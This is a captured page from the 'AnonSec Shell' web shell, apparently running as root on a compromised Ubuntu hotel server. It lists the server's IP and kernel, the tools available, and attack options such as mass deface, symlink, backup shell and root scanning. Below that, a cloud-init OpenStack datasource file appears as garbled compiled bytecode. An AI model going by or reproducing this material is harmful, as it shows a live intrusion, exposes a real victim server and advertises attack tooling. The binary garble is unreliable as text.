AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceOpenStack.cpython-310.pyc
o

x[h�(�@s
ddlZddlZddlmZmZmZmZddlmZm	Z	ddl
mZddlm
Z
ddlmZddlmZe�e�ZdZd	eiZd
ZdZeegZdZd
ZdZdZeZeeeeeg7ZGdd�dej ej!�Z"Gdd�de"�Z#ddd�Z$e#ej%ffe"ej%ej&ffgZ'dd�Z(dS)�N)�dmi�sources�
url_helper�util)�
EventScope�	EventType)�NoDHCPLeaseError)�EphemeralDHCPv4)�DataSourceOracle)�	openstackziid-dsopenstackzinstance-idzOpenStack NovazOpenStack Compute�OpenTelekomCloudz
SAP CCloud VM�HUAWEICLOUDzSamsung Cloud Platformcs�eZdZdZejZdZej	e
je
je
j
e
jhiZ�fdd�Zdd�Zdd�Zd	d
�Zedd��Zd
d�Zdd�Zdd�Z�ZS)�DataSourceOpenStack�	OpenStackFcsHtt|��|||�d|_t�|j�|_d|_i|_	t
j|_t
j|_
dS�N)�superr�__init__�metadata_addressr�fetch_ssl_details�paths�ssl_details�version�filesr�UNSET�ec2_metadata�network_json)�self�sys_cfg�distror��	__class__��G/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceOpenStack.pyr>szDataSourceOpenStack.__init__cCs"tj�|�}d||j|jf}|S)Nz%s [%s,ver=%s])r�
DataSource�__str__�dsmoder)r�root�mstrr!r!r"r$GszDataSourceOpenStack.__str__cCsdj|jjd�dg}|j�d|�}dd�|D�}t|�t|�kr.t�dtt|�t|���t	|�r5|}nt�
d�|}g}i}|D]}t�|d	�}|�
|�|||<qB|��}t��}	tj||j|jd
d�\}
}|
rtt�d||
�n
t�d
|tt��|	��|�|
�|_t|
�S)Nz"http://[fe80::a9fe:a9fe%25{iface}])�ifacezhttp://169.254.169.254�
metadata_urlscSsg|]	}t�|�r|�qSr!)r�is_resolvable_url)�.0�xr!r!r"�
<listcomp>TszADataSourceOpenStack.wait_for_metadata_service.<locals>.<listcomp>z,Removed the following from metadata urls: %sz+Empty metadata url list! using default listrF)�urls�max_wait�timeout�connect_synchronouslyzUsing metadata source: '%s'z2Giving up on OpenStack md from %s after %s seconds)�formatr�fallback_interface�ds_cfg�get�set�LOG�debug�list�len�warningr�combine_url�append�get_url_params�time�	monotonic�wait_for_url�max_wait_seconds�timeout_seconds�intr�bool)r�DEF_MD_URLSr.�filtered�md_urls�url2base�url�md_url�
url_params�
start_time�	avail_url�	_responser!r!r"�wait_for_metadata_serviceLsN���



��z-DataSourceOpenStack.wait_for_metadata_servicecCst�|���Sr)r�instance_id_matches_system_uuid�get_instance_id)rrr!r!r"�check_instance_id{sz%DataSourceOpenStack.check_instance_idcCsn|jtjkr	|jSt�|j�dd��rd|_|jS|jtjkr&t�	d�dSt�
d�tj|jdd�|_|jS)z@Return a network config dict for rendering ENI or netplan files.�apply_network_configTNz<Unexpected call to network_config when network_json is None.z(network config provided via network_json)�
known_macs)
�_network_configrrr�is_falser4r5rr7r;r8r�convert_net_json)rr!r!r"�network_configs�
�z"DataSourceOpenStack.network_configc
Cs�|jr@zt|j|jj��|��}Wd�n1swYWnAttjfy?}zt�	t
t|��WYd}~dSd}~wwz|��}Wntjyb}zt�	t
t|��WYd}~dSd}~ww|�|�
d�g�|_|jtjkrudS|�
di�}t�|tg�}||_|�
d�|_|�
d�|_|�
d�|_|d|_|j�|�
d	i��|�
d
�}zt�|�|_Wnty�}zt
�d|�d|_WYd}~nd}~ww|�
d�}z	t�|�|_WdSty�}zt
�d
|�d|_WYd}~dSd}~ww)a
Crawl metadata, parse and persist that data for this instance.

        @return: True when metadata discovered indicates OpenStack datasource.
            False when unable to contact metadata service or when metadata
            format is invalid or disabled.
        NFr%�metadatazec2-metadata�networkdata�userdatarr�
vendordataz"Invalid content in vendor-data: %s�vendordata2z#Invalid content in vendor-data2: %sT)�perform_dhcp_setupr	rr3�_crawl_metadatarr�InvalidMetaDataExceptionr�logexcr7�str�_determine_dsmoder5r%�DSMODE_DISABLED�
mergemanydict�DEFAULT_METADATArZrr�userdata_rawrr�update�convert_vendordata�vendordata_raw�
ValueErrorr;�vendordata2_raw)r�results�e�md�vd�vd2r!r!r"�	_get_data�sb
�
������

��
���zDataSourceOpenStack._get_datac
Cs�z|��s
t�d��Wnty"}zt�djt|�d���d}~ww|��}zt|j|j	|j
|jd�}W|Stj
yJ}zt�t|���d}~wtjtfye}z
dj|jd�}t�|�|�d}~ww)z�Crawl metadata service when available.

        @returns: Dictionary with all metadata discovered for this datasource.
        @raise: InvalidMetaDataException on unreadable or broken
            metadata.
        z No active metadata service foundz,IOError contacting metadata service: {error})�errorN)r�retriesr0zBroken metadata address {addr})�addr)rPrra�IOErrorr2rcr>�read_metadata_servicerr�num_retriesrCr�NonReadable�BrokenMetadata)rrorL�result�msgr!r!r"r`�sB�������
�����z#DataSourceOpenStack._crawl_metadatacCspd|j�d�v}t��sdSt�d�}|tvrdSt�d�tvr"dS|r*t�	�r*dSt�
d��d�tkr6dSdS)	z<Return True when a potential OpenStack platform is detected.�Oracle�datasource_listTzsystem-product-namezchassis-asset-tag��product_nameF)rr5r�is_x86r�
read_dmi_data�VALID_DMI_PRODUCT_NAMES�VALID_DMI_ASSET_TAGS�oracle�_is_platform_viable�get_proc_env�DMI_PRODUCT_NOVA)r�
accept_oracler�r!r!r"�	ds_detect�s
zDataSourceOpenStack.ds_detect)�__name__�
__module__�__qualname__�dsnamerrrVr_r�NETWORKr�BOOT_NEW_INSTANCE�BOOT�BOOT_LEGACY�HOTPLUG�supported_update_eventsrr$rPrS�propertyrYrsr`r��
__classcell__r!r!rr"r,s(��		/
5%rc@seZdZdZdZdS)�DataSourceOpenStackLocalauRun in init-local using a dhcp discovery prior to metadata crawl.

    In init-local, no network is available. This subclass sets up minimal
    networking with dhclient on a viable nic so that it can talk to the
    metadata service. If the metadata service provides network configuration
    then render the network configuration for that instance based on metadata.
    TN)r�r�r��__doc__r_r!r!r!r"r�sr��cCstj||||d�}|��S)N)rr0ru)r�MetadataReader�read_v2)�base_urlrr0ru�readerr!r!r"rxs�rxcCst�|t�Sr)r�list_from_depends�datasources)�dependsr!r!r"�get_datasource_list sr�)Nr�r�))�loggingr?�	cloudinitrrrr�cloudinit.eventrr�cloudinit.net.dhcpr�cloudinit.net.ephemeralr	�cloudinit.sourcesr
r��cloudinit.sources.helpersr�	getLoggerr�r7�DEFAULT_IIDrgr��DMI_PRODUCT_COMPUTEr��DMI_ASSET_TAG_OPENTELEKOM�DMI_ASSET_TAG_SAPCCLOUD�DMI_ASSET_TAG_HUAWEICLOUD�"DMI_ASSET_TAG_SAMSUNGCLOUDPLATFORMr��SourceMixinr#rr�rx�DEP_FILESYSTEM�DEP_NETWORKr�r�r!r!r!r"�<module>sD
��Z

	�

Anon7 - 2022
AnonSec Team